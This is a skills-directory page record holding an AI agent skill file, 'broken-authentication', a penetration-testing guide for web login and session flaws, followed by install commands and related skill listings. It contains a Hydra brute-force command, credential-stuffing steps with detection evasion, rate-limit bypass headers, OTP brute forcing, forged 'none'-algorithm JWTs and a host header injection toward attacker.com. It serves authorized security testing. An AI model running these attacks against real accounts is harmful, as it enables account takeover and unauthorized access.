[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7C8BVMV4XMYCKKZ9CSCKDM3":3,"skill-same:01M7C8BVMV4XMYCKKZ9CSCKDM3":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":28,"commitSha":29,"skillDirectory":30,"forksCount":31,"repositoryHtmlUrl":32,"repositoryHomepageUrl":33,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":35,"updatedAt":36,"install":37,"resources":50},"01M7C8BVMV4XMYCKKZ9CSCKDM3","broken-authentication",null,"Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems.","YYC-Cube\u002FYYC3-Knowledge-Base","YYC-Cube","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F235006543?v=4","01M79J2PH4SWD2X0825X6PN748","yyc3","01M79J2PHVK3F6ZBYT8K2SCZCW",1,"MIT","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-Skills-技能包\u002FYYC3-Skills-技能包-antigravity-awesome-skills\u002Fplugins\u002Fantigravity-awesome-skills\u002Fskills\u002Fbroken-authentication\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: broken-authentication\ndescription: \"Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems.\"\nrisk: unknown\nsource: community\nauthor: zebbern\ndate_added: \"2026-02-27\"\n---\n\n# Broken Authentication Testing\n\n## Purpose\n\nIdentify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.\n\n## Prerequisites\n\n### Required Knowledge\n- HTTP protocol and session mechanisms\n- Authentication types (SFA, 2FA, MFA)\n- Cookie and token handling\n- Common authentication frameworks\n\n### Required Tools\n- Burp Suite Professional or Community\n- Hydra or similar brute-force tools\n- Custom wordlists for credential testing\n- Browser developer tools\n\n### Required Access\n- Target application URL\n- Test account credentials\n- Written authorization for testing\n\n## Outputs and Deliverables\n\n1. **Authentication Assessment Report** - Document all identified vulnerabilities\n2. **Credential Testing Results** - Brute-force and dictionary attack outcomes\n3. **Session Security Analysis** - Token randomness and timeout evaluation\n4. **Remediation Recommendations** - Security hardening guidance\n\n## Core Workflow\n\n### Phase 1: Authentication Mechanism Analysis\n\nUnderstand the application's authentication architecture:\n\n```\n# Identify authentication type\n- Password-based (forms, basic auth, digest)\n- Token-based (JWT, OAuth, API keys)\n- Certificate-based (mutual TLS)\n- Multi-factor (SMS, TOTP, hardware tokens)\n\n# Map authentication endpoints\n\u002Flogin, \u002Fsignin, \u002Fauthenticate\n\u002Fregister, \u002Fsignup\n\u002Fforgot-password, \u002Freset-password\n\u002Flogout, \u002Fsignout\n\u002Fapi\u002Fauth\u002F*, \u002Foauth\u002F*\n```\n\nCapture and analyze authentication requests:\n\n```http\nPOST \u002Flogin HTTP\u002F1.1\nHost: target.com\nContent-Type: application\u002Fx-www-form-urlencoded\n\nusername=test&password=test123\n```\n\n### Phase 2: Password Policy Testing\n\nEvaluate password requirements and enforcement:\n\n```bash\n# Test minimum length (a, ab, abcdefgh)\n# Test complexity (password, password1, Password1!)\n# Test common weak passwords (123456, password, qwerty, admin)\n# Test username as password (admin\u002Fadmin, test\u002Ftest)\n```\n\nDocument policy gaps: Minimum length \u003C8, no complexity, common passwords allowed, username as password.\n\n### Phase 3: Credential Enumeration\n\nTest for username enumeration vulnerabilities:\n\n```bash\n# Compare responses for valid vs invalid usernames\n# Invalid: \"Invalid username\" vs Valid: \"Invalid password\"\n# Check timing differences, response codes, registration messages\n```\n\n# Password reset\n\"Email sent if account exists\" (secure)\n\"No account with that email\" (leaks info)\n\n# API responses\n{\"error\": \"user_not_found\"}\n{\"error\": \"invalid_password\"}\n```\n\n### Phase 4: Brute Force Testing\n\nTest account lockout and rate limiting:\n\n```bash\n# Using Hydra for form-based auth\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt \\\n  target.com http-post-form \\\n  \"\u002Flogin:username=^USER^&password=^PASS^:Invalid credentials\"\n\n# Using Burp Intruder\n1. Capture login request\n2. Send to Intruder\n3. Set payload positions on password field\n4. Load wordlist\n5. Start attack\n6. Analyze response lengths\u002Fcodes\n```\n\nCheck for protections:\n\n```bash\n# Account lockout\n- After how many attempts?\n- Duration of lockout?\n- Lockout notification?\n\n# Rate limiting\n- Requests per minute limit?\n- IP-based or account-based?\n- Bypass via headers (X-Forwarded-For)?\n\n# CAPTCHA\n- After failed attempts?\n- Easily bypassable?\n```\n\n### Phase 5: Credential Stuffing\n\nTest with known breached credentials:\n\n```bash\n# Credential stuffing differs from brute force\n# Uses known email:password pairs from breaches\n\n# Using Burp Intruder with Pitchfork attack\n1. Set username and password as positions\n2. Load email list as payload 1\n3. Load password list as payload 2 (matched pairs)\n4. Analyze for successful logins\n\n# Detection evasion\n- Slow request rate\n- Rotate source IPs\n- Randomize user agents\n- Add delays between attempts\n```\n\n### Phase 6: Session Management Testing\n\nAnalyze session token security:\n\n```bash\n# Capture session cookie\nCookie: SESSIONID=abc123def456\n\n# Test token characteristics\n1. Entropy - Is it random enough?\n2. Length - Sufficient length (128+ bits)?\n3. Predictability - Sequential patterns?\n4. Secure flags - HttpOnly, Secure, SameSite?\n```\n\nSession token analysis:\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\nimport requests\nimport hashlib\n\n# Collect multiple session tokens\ntokens = []\nfor i in range(100):\n    response = requests.get(\"https:\u002F\u002Ftarget.com\u002Flogin\")\n    token = response.cookies.get(\"SESSIONID\")\n    tokens.append(token)\n\n# Analyze for patterns\n# Check for sequential increments\n# Calculate entropy\n# Look for timestamp components\n```\n\n### Phase 7: Session Fixation Testing\n\nTest if session is regenerated after authentication:\n\n```bash\n# Step 1: Get session before login\nGET \u002Flogin HTTP\u002F1.1\nResponse: Set-Cookie: SESSIONID=abc123\n\n# Step 2: Login with same session\nPOST \u002Flogin HTTP\u002F1.1\nCookie: SESSIONID=abc123\nusername=valid&password=valid\n\n# Step 3: Check if session changed\n# VULNERABLE if SESSIONID remains abc123\n# SECURE if new session assigned after login\n```\n\nAttack scenario:\n\n```bash\n# Attacker workflow:\n1. Attacker visits site, gets session: SESSIONID=attacker_session\n2. Attacker sends link to victim with fixed session:\n   https:\u002F\u002Ftarget.com\u002Flogin?SESSIONID=attacker_session\n3. Victim logs in with attacker's session\n4. Attacker now has authenticated session\n```\n\n### Phase 8: Session Timeout Testing\n\nVerify session expiration policies:\n\n```bash\n# Test idle timeout\n1. Login and note session cookie\n2. Wait without activity (15, 30, 60 minutes)\n3. Attempt to use session\n4. Check if session is still valid\n\n# Test absolute timeout\n1. Login and continuously use session\n2. Check if forced logout after set period (8 hours, 24 hours)\n\n# Test logout functionality\n1. Login and note session\n2. Click logout\n3. Attempt to reuse old session cookie\n4. Session should be invalidated server-side\n```\n\n### Phase 9: Multi-Factor Authentication Testing\n\nAssess MFA implementation security:\n\n```bash\n# OTP brute force\n- 4-digit OTP = 10,000 combinations\n- 6-digit OTP = 1,000,000 combinations\n- Test rate limiting on OTP endpoint\n\n# OTP bypass techniques\n- Skip MFA step by direct URL access\n- Modify response to indicate MFA passed\n- Null\u002Fempty OTP submission\n- Previous valid OTP reuse\n\n# API Version Downgrade Attack (crAPI example)\n# If \u002Fapi\u002Fv3\u002Fcheck-otp has rate limiting, try older versions:\nPOST \u002Fapi\u002Fv2\u002Fcheck-otp\n{\"otp\": \"1234\"}\n# Older API versions may lack security controls\n\n# Using Burp for OTP testing\n1. Capture OTP verification request\n2. Send to Intruder\n3. Set OTP field as payload position\n4. Use numbers payload (0000-9999)\n5. Check for successful bypass\n```\n\nTest MFA enrollment:\n\n```bash\n# Forced enrollment\n- Can MFA be skipped during setup?\n- Can backup codes be accessed without verification?\n\n# Recovery process\n- Can MFA be disabled via email alone?\n- Social engineering potential?\n```\n\n### Phase 10: Password Reset Testing\n\nAnalyze password reset security:\n\n```bash\n# Token security\n1. Request password reset\n2. Capture reset link\n3. Analyze token:\n   - Length and randomness\n   - Expiration time\n   - Single-use enforcement\n   - Account binding\n\n# Token manipulation\nhttps:\u002F\u002Ftarget.com\u002Freset?token=abc123&user=victim\n# Try changing user parameter while using valid token\n\n# Host header injection\nPOST \u002Fforgot-password HTTP\u002F1.1\nHost: attacker.com\nemail=victim@email.com\n# Reset email may contain attacker's domain\n```\n\n## Quick Reference\n\n### Common Vulnerability Types\n\n| Vulnerability | Risk | Test Method |\n|--------------|------|-------------|\n| Weak passwords | High | Policy testing, dictionary attack |\n| No lockout | High | Brute force testing |\n| Username enumeration | Medium | Differential response analysis |\n| Session fixation | High | Pre\u002Fpost-login session comparison |\n| Weak session tokens | High | Entropy analysis |\n| No session timeout | Medium | Long-duration session testing |\n| Insecure password reset | High | Token analysis, workflow bypass |\n| MFA bypass | Critical | Direct access, response manipulation |\n\n### Credential Testing Payloads\n\n```bash\n# Default credentials\nadmin:admin\nadmin:password\nadmin:123456\nroot:root\ntest:test\nuser:user\n\n# Common passwords\n123456\npassword\n12345678\nqwerty\nabc123\npassword1\nadmin123\n\n# Breached credential databases\n- Have I Been Pwned dataset\n- SecLists passwords\n- Custom targeted lists\n```\n\n### Session Cookie Flags\n\n| Flag | Purpose | Vulnerability if Missing |\n|------|---------|------------------------|\n| HttpOnly | Prevent JS access | XSS can steal session |\n| Secure | HTTPS only | Sent over HTTP |\n| SameSite | CSRF protection | Cross-site requests allowed |\n| Path | URL scope | Broader exposure |\n| Domain | Domain scope | Subdomain access |\n| Expires | Lifetime | Persistent sessions |\n\n### Rate Limiting Bypass Headers\n\n```http\nX-Forwarded-For: 127.0.0.1\nX-Real-IP: 127.0.0.1\nX-Originating-IP: 127.0.0.1\nX-Client-IP: 127.0.0.1\nX-Remote-IP: 127.0.0.1\nTrue-Client-IP: 127.0.0.1\n```\n\n## Constraints and Limitations\n\n### Legal Requirements\n- Only test with explicit written authorization\n- Avoid testing with real breached credentials\n- Do not access actual user accounts\n- Document all testing activities\n\n### Technical Limitations\n- CAPTCHA may prevent automated testing\n- Rate limiting affects brute force timing\n- MFA significantly increases attack difficulty\n- Some vulnerabilities require victim interaction\n\n### Scope Considerations\n- Test accounts may behave differently than production\n- Some features may be disabled in test environments\n- Third-party authentication may be out of scope\n- Production testing requires extra caution\n\n## Examples\n\n### Example 1: Account Lockout Bypass\n\n**Scenario:** Test if account lockout can be bypassed\n\n```bash\n# Step 1: Identify lockout threshold\n# Try 5 wrong passwords for admin account\n# Result: \"Account locked for 30 minutes\"\n\n# Step 2: Test bypass via IP rotation\n# Use X-Forwarded-For header\nPOST \u002Flogin HTTP\u002F1.1\nX-Forwarded-For: 192.168.1.1\nusername=admin&password=attempt1\n\n# Increment IP for each attempt\nX-Forwarded-For: 192.168.1.2\n# Continue until successful or confirmed blocked\n\n# Step 3: Test bypass via case manipulation\nusername=Admin (vs admin)\nusername=ADMIN\n# Some systems treat these as different accounts\n```\n\n### Example 2: JWT Token Attack\n\n**Scenario:** Exploit weak JWT implementation\n\n```bash\n# Step 1: Capture JWT token\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature\n\n# Step 2: Decode and analyze\n# Header: {\"alg\":\"HS256\",\"typ\":\"JWT\"}\n# Payload: {\"user\":\"test\",\"role\":\"user\"}\n\n# Step 3: Try \"none\" algorithm attack\n# Change header to: {\"alg\":\"none\",\"typ\":\"JWT\"}\n# Remove signature\neyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.\n\n# Step 4: Submit modified token\nAuthorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.\n```\n\n### Example 3: Password Reset Token Exploitation\n\n**Scenario:** Test password reset functionality\n\n```bash\n# Step 1: Request reset for test account\nPOST \u002Fforgot-password\nemail=test@example.com\n\n# Step 2: Capture reset link\nhttps:\u002F\u002Ftarget.com\u002Freset?token=a1b2c3d4e5f6\n\n# Step 3: Test token properties\n# Reuse: Try using same token twice\n# Expiration: Wait 24+ hours and retry\n# Modification: Change characters in token\n\n# Step 4: Test for user parameter manipulation\nhttps:\u002F\u002Ftarget.com\u002Freset?token=a1b2c3d4e5f6&email=admin@example.com\n# Check if admin's password can be reset with test user's token\n```\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Brute force too slow | Identify rate limit scope; IP rotation; add delays; use targeted wordlists |\n| Session analysis inconclusive | Collect 1000+ tokens; use statistical tools; check for timestamps; compare accounts |\n| MFA cannot be bypassed | Document as secure; test backup\u002Frecovery mechanisms; check MFA fatigue; verify enrollment |\n| Account lockout prevents testing | Request multiple test accounts; test threshold first; use slower timing |\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n","# Broken Authentication Testing\n\n## Purpose\n\nIdentify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.\n\n## Prerequisites\n\n### Required Knowledge\n- HTTP protocol and session mechanisms\n- Authentication types (SFA, 2FA, MFA)\n- Cookie and token handling\n- Common authentication frameworks\n\n### Required Tools\n- Burp Suite Professional or Community\n- Hydra or similar brute-force tools\n- Custom wordlists for credential testing\n- Browser developer tools\n\n### Required Access\n- Target application URL\n- Test account credentials\n- Written authorization for testing\n\n## Outputs and Deliverables\n\n1. **Authentication Assessment Report** - Document all identified vulnerabilities\n2. **Credential Testing Results** - Brute-force and dictionary attack outcomes\n3. **Session Security Analysis** - Token randomness and timeout evaluation\n4. **Remediation Recommendations** - Security hardening guidance\n\n## Core Workflow\n\n### Phase 1: Authentication Mechanism Analysis\n\nUnderstand the application's authentication architecture:\n\n```\n# Identify authentication type\n- Password-based (forms, basic auth, digest)\n- Token-based (JWT, OAuth, API keys)\n- Certificate-based (mutual TLS)\n- Multi-factor (SMS, TOTP, hardware tokens)\n\n# Map authentication endpoints\n\u002Flogin, \u002Fsignin, \u002Fauthenticate\n\u002Fregister, \u002Fsignup\n\u002Fforgot-password, \u002Freset-password\n\u002Flogout, \u002Fsignout\n\u002Fapi\u002Fauth\u002F*, \u002Foauth\u002F*\n```\n\nCapture and analyze authentication requests:\n\n```http\nPOST \u002Flogin HTTP\u002F1.1\nHost: target.com\nContent-Type: application\u002Fx-www-form-urlencoded\n\nusername=test&password=test123\n```\n\n### Phase 2: Password Policy Testing\n\nEvaluate password requirements and enforcement:\n\n```bash\n# Test minimum length (a, ab, abcdefgh)\n# Test complexity (password, password1, Password1!)\n# Test common weak passwords (123456, password, qwerty, admin)\n# Test username as password (admin\u002Fadmin, test\u002Ftest)\n```\n\nDocument policy gaps: Minimum length \u003C8, no complexity, common passwords allowed, username as password.\n\n### Phase 3: Credential Enumeration\n\nTest for username enumeration vulnerabilities:\n\n```bash\n# Compare responses for valid vs invalid usernames\n# Invalid: \"Invalid username\" vs Valid: \"Invalid password\"\n# Check timing differences, response codes, registration messages\n```\n\n# Password reset\n\"Email sent if account exists\" (secure)\n\"No account with that email\" (leaks info)\n\n# API responses\n{\"error\": \"user_not_found\"}\n{\"error\": \"invalid_password\"}\n```\n\n### Phase 4: Brute Force Testing\n\nTest account lockout and rate limiting:\n\n```bash\n# Using Hydra for form-based auth\nhydra -l admin -P \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt \\\n  target.com http-post-form \\\n  \"\u002Flogin:username=^USER^&password=^PASS^:Invalid credentials\"\n\n# Using Burp Intruder\n1. Capture login request\n2. Send to Intruder\n3. Set payload positions on password field\n4. Load wordlist\n5. Start attack\n6. Analyze response lengths\u002Fcodes\n```\n\nCheck for protections:\n\n```bash\n# Account lockout\n- After how many attempts?\n- Duration of lockout?\n- Lockout notification?\n\n# Rate limiting\n- Requests per minute limit?\n- IP-based or account-based?\n- Bypass via headers (X-Forwarded-For)?\n\n# CAPTCHA\n- After failed attempts?\n- Easily bypassable?\n```\n\n### Phase 5: Credential Stuffing\n\nTest with known breached credentials:\n\n```bash\n# Credential stuffing differs from brute force\n# Uses known email:password pairs from breaches\n\n# Using Burp Intruder with Pitchfork attack\n1. Set username and password as positions\n2. Load email list as payload 1\n3. Load password list as payload 2 (matched pairs)\n4. Analyze for successful logins\n\n# Detection evasion\n- Slow request rate\n- Rotate source IPs\n- Randomize user agents\n- Add delays between attempts\n```\n\n### Phase 6: Session Management Testing\n\nAnalyze session token security:\n\n```bash\n# Capture session cookie\nCookie: SESSIONID=abc123def456\n\n# Test token characteristics\n1. Entropy - Is it random enough?\n2. Length - Sufficient length (128+ bits)?\n3. Predictability - Sequential patterns?\n4. Secure flags - HttpOnly, Secure, SameSite?\n```\n\nSession token analysis:\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\nimport requests\nimport hashlib\n\n# Collect multiple session tokens\ntokens = []\nfor i in range(100):\n    response = requests.get(\"https:\u002F\u002Ftarget.com\u002Flogin\")\n    token = response.cookies.get(\"SESSIONID\")\n    tokens.append(token)\n\n# Analyze for patterns\n# Check for sequential increments\n# Calculate entropy\n# Look for timestamp components\n```\n\n### Phase 7: Session Fixation Testing\n\nTest if session is regenerated after authentication:\n\n```bash\n# Step 1: Get session before login\nGET \u002Flogin HTTP\u002F1.1\nResponse: Set-Cookie: SESSIONID=abc123\n\n# Step 2: Login with same session\nPOST \u002Flogin HTTP\u002F1.1\nCookie: SESSIONID=abc123\nusername=valid&password=valid\n\n# Step 3: Check if session changed\n# VULNERABLE if SESSIONID remains abc123\n# SECURE if new session assigned after login\n```\n\nAttack scenario:\n\n```bash\n# Attacker workflow:\n1. Attacker visits site, gets session: SESSIONID=attacker_session\n2. Attacker sends link to victim with fixed session:\n   https:\u002F\u002Ftarget.com\u002Flogin?SESSIONID=attacker_session\n3. Victim logs in with attacker's session\n4. Attacker now has authenticated session\n```\n\n### Phase 8: Session Timeout Testing\n\nVerify session expiration policies:\n\n```bash\n# Test idle timeout\n1. Login and note session cookie\n2. Wait without activity (15, 30, 60 minutes)\n3. Attempt to use session\n4. Check if session is still valid\n\n# Test absolute timeout\n1. Login and continuously use session\n2. Check if forced logout after set period (8 hours, 24 hours)\n\n# Test logout functionality\n1. Login and note session\n2. Click logout\n3. Attempt to reuse old session cookie\n4. Session should be invalidated server-side\n```\n\n### Phase 9: Multi-Factor Authentication Testing\n\nAssess MFA implementation security:\n\n```bash\n# OTP brute force\n- 4-digit OTP = 10,000 combinations\n- 6-digit OTP = 1,000,000 combinations\n- Test rate limiting on OTP endpoint\n\n# OTP bypass techniques\n- Skip MFA step by direct URL access\n- Modify response to indicate MFA passed\n- Null\u002Fempty OTP submission\n- Previous valid OTP reuse\n\n# API Version Downgrade Attack (crAPI example)\n# If \u002Fapi\u002Fv3\u002Fcheck-otp has rate limiting, try older versions:\nPOST \u002Fapi\u002Fv2\u002Fcheck-otp\n{\"otp\": \"1234\"}\n# Older API versions may lack security controls\n\n# Using Burp for OTP testing\n1. Capture OTP verification request\n2. Send to Intruder\n3. Set OTP field as payload position\n4. Use numbers payload (0000-9999)\n5. Check for successful bypass\n```\n\nTest MFA enrollment:\n\n```bash\n# Forced enrollment\n- Can MFA be skipped during setup?\n- Can backup codes be accessed without verification?\n\n# Recovery process\n- Can MFA be disabled via email alone?\n- Social engineering potential?\n```\n\n### Phase 10: Password Reset Testing\n\nAnalyze password reset security:\n\n```bash\n# Token security\n1. Request password reset\n2. Capture reset link\n3. Analyze token:\n   - Length and randomness\n   - Expiration time\n   - Single-use enforcement\n   - Account binding\n\n# Token manipulation\nhttps:\u002F\u002Ftarget.com\u002Freset?token=abc123&user=victim\n# Try changing user parameter while using valid token\n\n# Host header injection\nPOST \u002Fforgot-password HTTP\u002F1.1\nHost: attacker.com\nemail=victim@email.com\n# Reset email may contain attacker's domain\n```\n\n## Quick Reference\n\n### Common Vulnerability Types\n\n| Vulnerability | Risk | Test Method |\n|--------------|------|-------------|\n| Weak passwords | High | Policy testing, dictionary attack |\n| No lockout | High | Brute force testing |\n| Username enumeration | Medium | Differential response analysis |\n| Session fixation | High | Pre\u002Fpost-login session comparison |\n| Weak session tokens | High | Entropy analysis |\n| No session timeout | Medium | Long-duration session testing |\n| Insecure password reset | High | Token analysis, workflow bypass |\n| MFA bypass | Critical | Direct access, response manipulation |\n\n### Credential Testing Payloads\n\n```bash\n# Default credentials\nadmin:admin\nadmin:password\nadmin:123456\nroot:root\ntest:test\nuser:user\n\n# Common passwords\n123456\npassword\n12345678\nqwerty\nabc123\npassword1\nadmin123\n\n# Breached credential databases\n- Have I Been Pwned dataset\n- SecLists passwords\n- Custom targeted lists\n```\n\n### Session Cookie Flags\n\n| Flag | Purpose | Vulnerability if Missing |\n|------|---------|------------------------|\n| HttpOnly | Prevent JS access | XSS can steal session |\n| Secure | HTTPS only | Sent over HTTP |\n| SameSite | CSRF protection | Cross-site requests allowed |\n| Path | URL scope | Broader exposure |\n| Domain | Domain scope | Subdomain access |\n| Expires | Lifetime | Persistent sessions |\n\n### Rate Limiting Bypass Headers\n\n```http\nX-Forwarded-For: 127.0.0.1\nX-Real-IP: 127.0.0.1\nX-Originating-IP: 127.0.0.1\nX-Client-IP: 127.0.0.1\nX-Remote-IP: 127.0.0.1\nTrue-Client-IP: 127.0.0.1\n```\n\n## Constraints and Limitations\n\n### Legal Requirements\n- Only test with explicit written authorization\n- Avoid testing with real breached credentials\n- Do not access actual user accounts\n- Document all testing activities\n\n### Technical Limitations\n- CAPTCHA may prevent automated testing\n- Rate limiting affects brute force timing\n- MFA significantly increases attack difficulty\n- Some vulnerabilities require victim interaction\n\n### Scope Considerations\n- Test accounts may behave differently than production\n- Some features may be disabled in test environments\n- Third-party authentication may be out of scope\n- Production testing requires extra caution\n\n## Examples\n\n### Example 1: Account Lockout Bypass\n\n**Scenario:** Test if account lockout can be bypassed\n\n```bash\n# Step 1: Identify lockout threshold\n# Try 5 wrong passwords for admin account\n# Result: \"Account locked for 30 minutes\"\n\n# Step 2: Test bypass via IP rotation\n# Use X-Forwarded-For header\nPOST \u002Flogin HTTP\u002F1.1\nX-Forwarded-For: 192.168.1.1\nusername=admin&password=attempt1\n\n# Increment IP for each attempt\nX-Forwarded-For: 192.168.1.2\n# Continue until successful or confirmed blocked\n\n# Step 3: Test bypass via case manipulation\nusername=Admin (vs admin)\nusername=ADMIN\n# Some systems treat these as different accounts\n```\n\n### Example 2: JWT Token Attack\n\n**Scenario:** Exploit weak JWT implementation\n\n```bash\n# Step 1: Capture JWT token\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature\n\n# Step 2: Decode and analyze\n# Header: {\"alg\":\"HS256\",\"typ\":\"JWT\"}\n# Payload: {\"user\":\"test\",\"role\":\"user\"}\n\n# Step 3: Try \"none\" algorithm attack\n# Change header to: {\"alg\":\"none\",\"typ\":\"JWT\"}\n# Remove signature\neyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.\n\n# Step 4: Submit modified token\nAuthorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.\n```\n\n### Example 3: Password Reset Token Exploitation\n\n**Scenario:** Test password reset functionality\n\n```bash\n# Step 1: Request reset for test account\nPOST \u002Fforgot-password\nemail=test@example.com\n\n# Step 2: Capture reset link\nhttps:\u002F\u002Ftarget.com\u002Freset?token=a1b2c3d4e5f6\n\n# Step 3: Test token properties\n# Reuse: Try using same token twice\n# Expiration: Wait 24+ hours and retry\n# Modification: Change characters in token\n\n# Step 4: Test for user parameter manipulation\nhttps:\u002F\u002Ftarget.com\u002Freset?token=a1b2c3d4e5f6&email=admin@example.com\n# Check if admin's password can be reset with test user's token\n```\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Brute force too slow | Identify rate limit scope; IP rotation; add delays; use targeted wordlists |\n| Session analysis inconclusive | Collect 1000+ tokens; use statistical tools; check for timestamps; compare accounts |\n| MFA cannot be bypassed | Document as secure; test backup\u002Frecovery mechanisms; check MFA fatigue; verify enrollment |\n| Account lockout prevents testing | Request multiple test accounts; test threshold first; use slower timing |\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.\n",{"name":5,"risk":24,"author":25,"source":26,"date_added":27,"description":7},"unknown","zebbern","community","2026-02-27","main","87afe6ce96220accf50a345dea46784c8c9f210e","YYC3-Skills-技能包\u002FYYC3-Skills-技能包-antigravity-awesome-skills\u002Fplugins\u002Fantigravity-awesome-skills\u002Fskills\u002Fbroken-authentication",0,"https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base","https:\u002F\u002Fkb.yyc3.top\u002F","https:\u002F\u002Fgithub.com\u002FYYC-Cube","万象归元于云枢 | 深栈智启新纪元","2026-11-10 10:37:32",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add YYC-Cube\u002FYYC3-Knowledge-Base --skill broken-authentication",{"tool":43,"command":44},"bunx","bunx skills add YYC-Cube\u002FYYC3-Knowledge-Base --skill broken-authentication",{"tool":46,"command":47},"pnpm","pnpm dlx skills add YYC-Cube\u002FYYC3-Knowledge-Base --skill broken-authentication","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-Skills-技能包\u002FYYC3-Skills-技能包-antigravity-awesome-skills\u002Fplugins\u002Fantigravity-awesome-skills\u002Fskills\u002Fbroken-authentication\u002FSKILL.md",true,[],[52,59,66,73,80,87],{"skillNo":53,"name":54,"nameZh":6,"description":55,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":56,"categories":57,"keywords":58,"publishedAt":19},"01M7CTDWHERCXPQCP0K03A86AS","vercel-sandbox","Run agent-browser + Chrome inside Vercel Sandbox microVMs for browser automation from any Vercel-deployed app. Use when the user needs browser automation in a Vercel app (Next.js, SvelteKit, Nuxt, Remix, Astro, etc.), wants to run headless Chrome without binary size limits, needs persistent browser sessions across commands, or wants ephemeral isolated browser environments. Triggers include \"Vercel Sandbox browser\", \"microVM Chrome\", \"agent-browser in sandbox\", \"browser automation on Vercel\", or any task requiring Chrome in a Vercel Sandbox.","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-WebSpec-Web标准\u002FYYC3-WebSpec-Web标准-standards\u002Fbrowser-agent\u002Fskills\u002Fvercel-sandbox\u002FSKILL.md",[],[],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M7CTD8D2BNJY54S65M47HEJA","slack","Interact with Slack workspaces using browser automation. Use when the user needs to check unread channels, navigate Slack, send messages, extract data, find information, search conversations, or automate any Slack task. Triggers include \"check my Slack\", \"what channels have unreads\", \"send a message to\", \"search Slack for\", \"extract from Slack\", \"find who said\", or any task requiring programmatic Slack interaction.","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-WebSpec-Web标准\u002FYYC3-WebSpec-Web标准-standards\u002Fbrowser-agent\u002Fskills\u002Fslack\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M7CTCSSB8ZP3Q58C3YZDZK1W","electron","Automate Electron desktop apps (VS Code, Slack, Discord, Figma, Notion, Spotify, etc.) using agent-browser via Chrome DevTools Protocol. Use when the user needs to interact with an Electron app, automate a desktop app, connect to a running app, control a native app, or test an Electron application. Triggers include \"automate Slack app\", \"control VS Code\", \"interact with Discord app\", \"test this Electron app\", \"connect to desktop app\", or any task requiring automation of a native Electron 